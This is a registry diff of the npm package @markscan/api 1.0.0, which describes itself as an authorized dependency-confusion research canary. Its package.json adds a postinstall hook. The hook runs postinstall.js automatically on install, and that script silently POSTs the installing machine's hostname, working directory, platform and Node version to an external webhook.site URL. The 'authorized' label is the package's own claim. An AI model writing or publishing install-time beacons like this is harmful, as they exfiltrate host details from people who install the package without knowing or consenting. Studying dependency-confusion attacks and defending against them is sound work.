@markscan/api 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -0
- package/index.js +1 -0
- package/package.json +23 -0
- package/postinstall.js +23 -0
package/README.md
ADDED
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = { canary: '@markscan/api', token: 'PATHC-CANARY-2026' };
|
package/package.json
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@markscan/api",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "AUTHORIZED SECURITY RESEARCH CANARY \u2014 not affiliated with MarkScan. Harmless install beacon. Contact farouqsa@proton.me Token PATHC-CANARY-2026",
|
|
5
|
+
"license": "MIT",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"postinstall": "node postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"keywords": [
|
|
11
|
+
"security-research",
|
|
12
|
+
"dependency-confusion-canary",
|
|
13
|
+
"authorized-pentest"
|
|
14
|
+
],
|
|
15
|
+
"author": "farouqsa@proton.me",
|
|
16
|
+
"repository": {
|
|
17
|
+
"type": "git",
|
|
18
|
+
"url": "https://github.com/bruemleveroger/akrai-report-new-canary"
|
|
19
|
+
},
|
|
20
|
+
"publishConfig": {
|
|
21
|
+
"access": "public"
|
|
22
|
+
}
|
|
23
|
+
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,23 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const payload = JSON.stringify({
|
|
3
|
+
canary: '@markscan/api',
|
|
4
|
+
token: 'PATHC-CANARY-2026',
|
|
5
|
+
event: 'npm-postinstall',
|
|
6
|
+
time_utc: new Date().toISOString(),
|
|
7
|
+
node: process.version,
|
|
8
|
+
cwd: process.cwd(),
|
|
9
|
+
platform: process.platform,
|
|
10
|
+
hostname: require('os').hostname(),
|
|
11
|
+
});
|
|
12
|
+
const url = new URL('https://webhook.site/129cb2ee-ba08-4b3c-989c-270dc0030350');
|
|
13
|
+
const req = https.request({
|
|
14
|
+
hostname: url.hostname,
|
|
15
|
+
path: url.pathname,
|
|
16
|
+
method: 'POST',
|
|
17
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(payload) },
|
|
18
|
+
timeout: 5000,
|
|
19
|
+
}, () => {});
|
|
20
|
+
req.on('error', () => {});
|
|
21
|
+
req.write(payload);
|
|
22
|
+
req.end();
|
|
23
|
+
console.error('[pathc-canary] npm beacon queued — authorized research only');
|